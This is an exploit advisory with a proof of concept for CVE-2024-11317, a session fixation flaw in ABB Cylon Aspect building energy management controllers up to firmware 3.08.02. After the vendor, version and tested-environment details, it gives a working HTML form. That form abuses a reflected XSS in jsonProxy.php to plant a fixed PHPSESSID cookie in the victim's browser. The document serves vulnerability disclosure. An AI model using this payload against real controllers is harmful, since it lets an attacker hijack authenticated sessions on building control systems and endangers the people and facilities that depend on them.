ABB Cylon Aspect 3.08.02 - PHP Session Fixation

# Exploit title: ABB Cylon Aspect 3.08.02 PHP Session Fixation Vulnerability
# Advisory ID: ZSL-2025-5916
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5916.php
# CVE ID: CVE-2024-11317
# CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-11317


Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                  Firmware: <=3.08.02

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The ABB Cylon Aspect BMS/BAS controller is vulnerable to session
fixation, allowing an attacker to set a predefined PHPSESSID value. An
attacker can leverage an unauthenticated reflected XSS vulnerability in
jsonProxy.php to inject a crafted request, forcing the victim to adopt
a fixated session.

Tested on: GNU/Linux 3.15.10 (armv7l)
           GNU/Linux 3.10.0 (x86_64)
           GNU/Linux 2.6.32 (x86_64)
           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
           PHP/7.3.11
           PHP/5.6.30
           PHP/5.4.16
           PHP/4.4.8
           PHP/5.3.3
           AspectFT Automation Application Server
           lighttpd/1.4.32
           lighttpd/1.4.18
           Apache/2.2.15 (CentOS)
           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
           ErgoTech MIX Deployment Server 2.0.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience



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<body>
  <!-- Session ID in a cookie (Client-side script) OWASP Ref.: -->
  <form action="http://192.168.73.31/jsonProxy.php" method="GET">
    <input type="hidden" name="application" value="zeroscience" />
    <input type="hidden" name="query" value="<script>document.cookie="PHPSESSID=22222222225555555555111111; path=/"%0A%0Dwindow.location.href="/"</script>" />
    <input type="submit" value="Fix!" />
  </form>
</body>
</html>